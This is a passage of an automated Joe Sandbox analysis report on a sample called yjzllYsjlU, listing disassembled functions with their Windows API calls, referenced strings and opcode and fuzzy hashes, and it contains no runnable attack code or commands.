Instruction Fuzzy Hash: BC01D676680114BBCF17AE69C850AEF77BA9F84350F400095EC21AB381DB70EE218AE0

Function 0043B83B Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,0043B9A0,00000000,?,00441FAB,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 0043B851
GetLastError.KERNEL32(?,00441FAB,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,0043B9A0,00000000,00000104,?), ref: 0043B85B
__dosmaperr.LIBCMT ref: 0043B862

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 573f122ae82f08db5f9a13de85ef365be3234010d0279eca2789f216f3b9dc80
Instruction ID: 4d38e234b28d8319e4134ca970a631ac6953b460d6f58f575e06abf1e175f512
Opcode Fuzzy Hash: 573f122ae82f08db5f9a13de85ef365be3234010d0279eca2789f216f3b9dc80
Instruction Fuzzy Hash: 51F06D36600615BBCB246FA6DC08E4BBF6DFF483A1B009126F61DC6521D735E811CBD8

Function 0043B8A4 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,0043B9A0,00000000,?,00441F36,00000000,00000000,0043B9A0,?,?,00000000,00000000,00000001), ref: 0043B8BA
GetLastError.KERNEL32(?,00441F36,00000000,00000000,0043B9A0,?,?,00000000,00000000,00000001,00000000,00000000,?,0043B9A0,00000000,00000104), ref: 0043B8C4
__dosmaperr.LIBCMT ref: 0043B8CB

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 8d52b872a16da2ecde656976662c890ef9145f26e1d0b0297742ad47c23117d8
Instruction ID: fe454a788940d8d1b6a18dc845ad3b04fffb8540f5c3b85414d994226db15d49
Opcode Fuzzy Hash: 8d52b872a16da2ecde656976662c890ef9145f26e1d0b0297742ad47c23117d8
Instruction Fuzzy Hash: 26F06D72600619BB8B216BA6DC08B57BF69FF483A0B009526FA19C6521D739E861C7D8

Function 021BBAA2 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,021BBC07,00000000,?,021C2212,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 021BBAB8
GetLastError.KERNEL32(?,021C2212,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,021BBC07,00000000,00000104,?), ref: 021BBAC2
__dosmaperr.LIBCMT ref: 021BBAC9

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 573f122ae82f08db5f9a13de85ef365be3234010d0279eca2789f216f3b9dc80
Instruction ID: 1a5594b7b7242dc7abeb25f2300445b195a0e59c93974462e2782a47b0ff8f37
Opcode Fuzzy Hash: 573f122ae82f08db5f9a13de85ef365be3234010d0279eca2789f216f3b9dc80
Instruction Fuzzy Hash: CFF08132644615BB8B225FB6DC08DA6FF7AFF453A57018520F929C7820D731E911CBE0

Function 021BBB0B Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,021BBC07,00000000,?,021C219D,00000000,00000000,021BBC07,?,?,00000000,00000000,00000001), ref: 021BBB21
GetLastError.KERNEL32(?,021C219D,00000000,00000000,021BBC07,?,?,00000000,00000000,00000001,00000000,00000000,?,021BBC07,00000000,00000104), ref: 021BBB2B
__dosmaperr.LIBCMT ref: 021BBB32

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 8d52b872a16da2ecde656976662c890ef9145f26e1d0b0297742ad47c23117d8
Instruction ID: 7abbdbb34623e3d66a07d2ca658b17e811254b9d440a9fd3c896dc1dc49c1de3
Opcode Fuzzy Hash: 8d52b872a16da2ecde656976662c890ef9145f26e1d0b0297742ad47c23117d8
Instruction Fuzzy Hash: F4F06D32644615BB8B325BA2DC0899AFF7AFF443A57008124F92AC7820DB31E911CBD0

Function 00425005 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041FF66: TlsGetValue.KERNEL32(?,?,0041F4E7,0041F314,?,?), ref: 0041FF6C

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 0042502F

Part of subcall function 0042E30E: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0042E335
Part of subcall function 0042E30E: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0042E34E
Part of subcall function 0042E30E: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0042E3C4
Part of subcall function 0042E30E: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 0042E3CC

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 0042503D
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00425047
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 00425051

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceValueVirtualWork
String ID:
API String ID: 2616382602-0
Opcode ID: 70a698541e2e15fa6626dca2384dcb953701250920abc52d754e3547d00c3c09
Instruction ID: 591bd9b18c1ea594323a38232f6cf7a467bdae74b08f21c6b28571b33805ae9f
Opcode Fuzzy Hash: 70a698541e2e15fa6626dca2384dcb953701250920abc52d754e3547d00c3c09
Instruction Fuzzy Hash: 2DF0F63170053927CA25B727E81286EF6659F91B58B80002FF91057252EF7C9E498BCE

Function 021A526C Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 021A01CD: TlsGetValue.KERNEL32(?,?,0219F74E,0219F57B,?,?), ref: 021A01D3

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 021A5296

Part of subcall function 021AE575: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 021AE59C
Part of subcall function 021AE575: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 021AE5B5
Part of subcall function 021AE575: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 021AE62B
Part of subcall function 021AE575: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 021AE633

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 021A52A4
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 021A52AE
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 021A52B8

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceValueVirtualWork
String ID:
API String ID: 2616382602-0
Opcode ID: 70a698541e2e15fa6626dca2384dcb953701250920abc52d754e3547d00c3c09
Instruction ID: 84d1bef0bbba0434b4fef74e0b28c6085d71992b3a849bbea1672c0b412003a2
Opcode Fuzzy Hash: 70a698541e2e15fa6626dca2384dcb953701250920abc52d754e3547d00c3c09
Instruction Fuzzy Hash: E0F0F63DE84614BFCB25B7658830A6DF7279F91B50F50412AE52183290EF649A158FC2

Function 0219C86B Relevance: 6.0, APIs: 4, Instructions: 39timeCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0219FB78
Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0219FBAB
Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0219FBB7
Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0219FBC0

Part of subcall function 0219F554: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 0219F576
Part of subcall function 0219F554: Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0219F597

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Concurrency::critical_section::_Timer$Acquire_lockAsyncBase::ContextCurrentDerefH_prolog3LibraryLoadLockNodeNode::QueueRegisterSchedulerSwitch_to_active
String ID:
API String ID: 2559503089-0
Opcode ID: 6202bdfdb5770ea946800c78cd8ea731ca40aa09cdf17d07ebd0c2e6249b1ab2
Instruction ID: a445ba203adf9f360ce9bae7aa7dbd171a7339bc3286237ef9f8c64f9013e773
Opcode Fuzzy Hash: 6202bdfdb5770ea946800c78cd8ea731ca40aa09cdf17d07ebd0c2e6249b1ab2
Instruction Fuzzy Hash: 2AF0E9316C02087F9F38BEB4586597D32974F81324B084129A513DF7C0CF71CD06DA95

Function 00429510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00429519

Part of subcall function 0041F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00425486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0042953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00429550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00429559

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 286b84610833cc548c653b23f9a84c5695ef3105fb3579eb3866e9586b336a7e
Instruction ID: d6309d90a18d788d3908b1ccc534cdb32d682efef3bce2effefe7705fdda7df8
Opcode Fuzzy Hash: 286b84610833cc548c653b23f9a84c5695ef3105fb3579eb3866e9586b336a7e
Instruction Fuzzy Hash: ADF0A731700A306FE662AB55A811F6B23D49F44719F40951FE41B97282CE2CEC82CB99

Function 00446ACF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(004087A0,0000000F,0045FB20,00000000,004087A0,?,004451BA,004087A0,00000001,004087A0,004087A0,?,00440095,00000000,?,004087A0), ref: 00446AE6
GetLastError.KERNEL32(?,004451BA,004087A0,00000001,004087A0,004087A0,?,00440095,00000000,?,004087A0,00000000,004087A0,?,004405E9,004087A0), ref: 00446AF2

Part of subcall function 00446AB8: CloseHandle.KERNEL32(FFFFFFFE,00446B02,?,004451BA,004087A0,00000001,004087A0,004087A0,?,00440095,00000000,?,004087A0,00000000,004087A0), ref: 00446AC8

___initconout.LIBCMT ref: 00446B02

Part of subcall function 00446A7A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00446AA9,004451A7,004087A0,?,00440095,00000000,?,004087A0,00000000), ref: 00446A8D

WriteConsoleW.KERNEL32(004087A0,0000000F,0045FB20,00000000,?,004451BA,004087A0,00000001,004087A0,004087A0,?,00440095,00000000,?,004087A0,00000000), ref: 00446B17

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 68f8837eb1d4a2712d10f3c5b8a7bf099e143a904c0dfdbb60282304a99716f4
Instruction ID: 2847bb895f9299352194151eea3b2518d9960724f28a171724648c66562c6119
Opcode Fuzzy Hash: 68f8837eb1d4a2712d10f3c5b8a7bf099e143a904c0dfdbb60282304a99716f4
Instruction Fuzzy Hash: 1DF03736101664BBDF621FA5DC089DA3F65FB457A2F014022FE1C95131D672DC20DB9A

Function 021C6D36 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(02188A07,0000000F,0045FB20,00000000,02188A07,?,021C5421,02188A07,00000001,02188A07,02188A07,?,021C02FC,00000000,?,02188A07), ref: 021C6D4D
GetLastError.KERNEL32(?,021C5421,02188A07,00000001,02188A07,02188A07,?,021C02FC,00000000,?,02188A07,00000000,02188A07,?,021C0850,02188A07), ref: 021C6D59

Part of subcall function 021C6D1F: CloseHandle.KERNEL32(00462970,021C6D69,?,021C5421,02188A07,00000001,02188A07,02188A07,?,021C02FC,00000000,?,02188A07,00000000,02188A07), ref: 021C6D2F

___initconout.LIBCMT ref: 021C6D69

Part of subcall function 021C6CE1: CreateFileW.KERNEL32(00457658,40000000,00000003,00000000,00000003,00000000,00000000,021C6D10,021C540E,02188A07,?,021C02FC,00000000,?,02188A07,00000000), ref: 021C6CF4

WriteConsoleW.KERNEL32(02188A07,0000000F,0045FB20,00000000,?,021C5421,02188A07,00000001,02188A07,02188A07,?,021C02FC,00000000,?,02188A07,00000000), ref: 021C6D7E

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 68f8837eb1d4a2712d10f3c5b8a7bf099e143a904c0dfdbb60282304a99716f4
Instruction ID: 90d7394f3f83023c0314896e6cae26c1314d06576f085dca4c2dba5943328c78
Opcode Fuzzy Hash: 68f8837eb1d4a2712d10f3c5b8a7bf099e143a904c0dfdbb60282304a99716f4
Instruction Fuzzy Hash: E2F01C3A141298BBCF621FE5EC08A993F2AFB893B1F204025FA1C85130D772C820DB95

Function 02187A17 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 468sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 02187CE0

Strings

runas, xrefs: 0218756A

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: runas
API String ID: 3472027048-4000483414
Opcode ID: b12352c27eb35c7801b30b77c84677b55ae88f5f3268c2bda28ff34a47bf5de4
Instruction ID: 3c6a32df5dad7af30149616890935c29a92b351d457238d9866b5c48c106959f
Opcode Fuzzy Hash: b12352c27eb35c7801b30b77c84677b55ae88f5f3268c2bda28ff34a47bf5de4
Instruction Fuzzy Hash: 32E11371A50144AFEB08FB78CDC5B9DBB63AF81308F60865CE411AB3C5DB759A418F92

Function 0043E6C4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 0043E259: GetOEMCP.KERNEL32(00000000,0043E4CB,?,?,avC,00437661,?), ref: 0043E284

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,avC,0043E512,?,00000000,?,?,?,?,?,?,00437661), ref: 0043E722
GetCPInfo.KERNEL32(00000000,0043E512,?,avC,0043E512,?,00000000,?,?,?,?,?,?,00437661,?), ref: 0043E764

Strings

avC, xrefs: 0043E6C6

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID: avC
API String ID: 546120528-551859807
Opcode ID: 40678aea89edd431b2c9a3e3bda96fb4224bb9d3af1647208ffe2423ccba4704
Instruction ID: 7136e37640ab4f9cfa26bf5a46befe49b79dc652285453c6057786630530e70e
Opcode Fuzzy Hash: 40678aea89edd431b2c9a3e3bda96fb4224bb9d3af1647208ffe2423ccba4704
Instruction Fuzzy Hash: C6512370E012059EEB249F73C8806ABBBF5EF88304F14646FD096973D2E7789546CB99

Function 0044532F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 158fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00000002,?,00000000,?,00000000,?), ref: 0044540D

Strings

)ZD, xrefs: 00445363
)ZD, xrefs: 004453BB, 004454C9

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: )ZD$)ZD
API String ID: 2738559852-3993371512
Opcode ID: 0eb56316cf27b920e1eb67f398ea9860885408d35e2d831988382829233ef988
Instruction ID: fc353a334f2b284155b366ba4413ab3dfc7edfe09a6423858d2821c62ff71e0d
Opcode Fuzzy Hash: 0eb56316cf27b920e1eb67f398ea9860885408d35e2d831988382829233ef988
Instruction Fuzzy Hash: 4651E731A04619EBDF20CF58C881BEDB7B0FF05314F20856AD855AB392E3785981CB99

Function 021BE717 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 021BE4C0: GetOEMCP.KERNEL32(00000000,021BE732,?,?,021B78C8,021B78C8,?), ref: 021BE4EB

_free.LIBCMT ref: 021BE78F

Strings

@"F, xrefs: 021BE7B7

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free
String ID: @"F
API String ID: 269201875-3084318295
Opcode ID: 9908dd6ab1a80c5fc09db8b12665e78ab5e05ea3aa24e2a155a3ad1beaefeb8c
Instruction ID: 2f8ac4aacac18265d36cfe77dfd95f80a5074ae81246d45626d8c84b57719f6b
Opcode Fuzzy Hash: 9908dd6ab1a80c5fc09db8b12665e78ab5e05ea3aa24e2a155a3ad1beaefeb8c
Instruction Fuzzy Hash: D731B071900209AFCB12DFA9C880BDE7BF5EF44314F550469E9119B2A0EB71D950CF90

Function 0041B5D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0041B65E
RaiseException.KERNEL32(?,?,?,?), ref: 0041B683

Part of subcall function 00433B04: RaiseException.KERNEL32(E06D7363,00000001,00000003,0045E3B0,?,?,?,0045E3B0), ref: 00433B64

Part of subcall function 00438BEC: IsProcessorFeaturePresent.KERNEL32(00000017,0043A72D,?,?,0043694A,?,?,?,?,00437661,?), ref: 00438C08

Strings

csm, xrefs: 0041B612

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: ad5d9faefd0c1ab4e9a02e3e4909efcbe63737fe706ed9a567fc9c955821b515
Instruction ID: 9f88b0b7aede3b21d37810e77ce6789f3a807ab352a7de9bd37fa5025d97b667
Opcode Fuzzy Hash: ad5d9faefd0c1ab4e9a02e3e4909efcbe63737fe706ed9a567fc9c955821b515
Instruction Fuzzy Hash: A721AF31D01218AFCF24DF96C945AEFB7B8EF24714F14441AE845AB251CB38AD85CBCA

Function 00431704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00431764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004317AF

Strings

pContext, xrefs: 004317A7

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 022a27bc18fa5d8226aa9ea097ec315d7e10c5cb17fb68df421d1453c8f8c9ce
Instruction ID: 942ad2940211714a74bcc9dfb36523be2d48a1416fc9e5f4f6d4d921a905eb8f
Opcode Fuzzy Hash: 022a27bc18fa5d8226aa9ea097ec315d7e10c5cb17fb68df421d1453c8f8c9ce
Instruction Fuzzy Hash: 2F113639A002149BCB05FF58C88596D77A5AF8C365F18406BEC0297362DB3CED05CBD8

Function 0041CFF1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0041D21A
___raise_securityfailure.LIBCMT ref: 0041D301

Strings

pWF, xrefs: 0041D2FC

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: pWF
API String ID: 3761405300-3254099572
Opcode ID: 8d6445971c7e0862906b7c68462026e959eab2d4c9270191dfb96f7b545bb8f5
Instruction ID: 8fd7279893b741caf15dcd92eb45e819b2951614e4b3fd08056ab3288de795f0
Opcode Fuzzy Hash: 8d6445971c7e0862906b7c68462026e959eab2d4c9270191dfb96f7b545bb8f5
Instruction Fuzzy Hash: D121BDB5600A04DAE714EF26F945A583BE4FB48304F54553AEA049BAB1F3F498A1CF0E

Function 0043A72E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0043A77E
_free.LIBCMT ref: 0043A7B2

Strings

x!F, xrefs: 0043A7A5

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free
String ID: x!F
API String ID: 269201875-3062043068
Opcode ID: db21be25886df150d1c6f332858b9cadf02cf268a657b562b65237ce8408447b
Instruction ID: a9be1d7356db9bde33694ffb89096973f5cd6b257b37c16ae0656b7abf5e94eb
Opcode Fuzzy Hash: db21be25886df150d1c6f332858b9cadf02cf268a657b562b65237ce8408447b
Instruction Fuzzy Hash: 0F01D831985A203AD52532355C82B6B12299B0D72CF20322BFBA0653E2FB8DCC3201DF

Function 021BA995 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021BA9E5
_free.LIBCMT ref: 021BAA19

Strings

x!F, xrefs: 021BAA0C

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free
String ID: x!F
API String ID: 269201875-3062043068
Opcode ID: db21be25886df150d1c6f332858b9cadf02cf268a657b562b65237ce8408447b
Instruction ID: 5524d76a09cbb271e12b594c598f5da8b77a17f8c1b689dc9363f76aabd0250b
Opcode Fuzzy Hash: db21be25886df150d1c6f332858b9cadf02cf268a657b562b65237ce8408447b
Instruction Fuzzy Hash: 6201F7315DDB307EC63776746E40AFE12396F07B28B160321FD20A54E0EB928D1146E5

Function 00420C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00420CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 00420D2A

Strings

p[F, xrefs: 00420CCF

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[F
API String ID: 3303180142-1832964472
Opcode ID: be93dd124044e3a26704792a574e288825ec5497b2495a662014ec0407777033
Instruction ID: 460490d00550286d74d196cd5a9549fc7c942c0fed1932104b3464a6bc3d5762
Opcode Fuzzy Hash: be93dd124044e3a26704792a574e288825ec5497b2495a662014ec0407777033
Instruction Fuzzy Hash: 510180B0F156249EDB10ABBA755135DA6E06B08318FA0406FE405EB283DA7C5E41876E

Function 0043E259 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetOEMCP.KERNEL32(00000000,0043E4CB,?,?,avC,00437661,?), ref: 0043E284
GetACP.KERNEL32(00000000,0043E4CB,?,?,avC,00437661,?), ref: 0043E29B

Strings

avC, xrefs: 0043E25B

Memory Dump Source

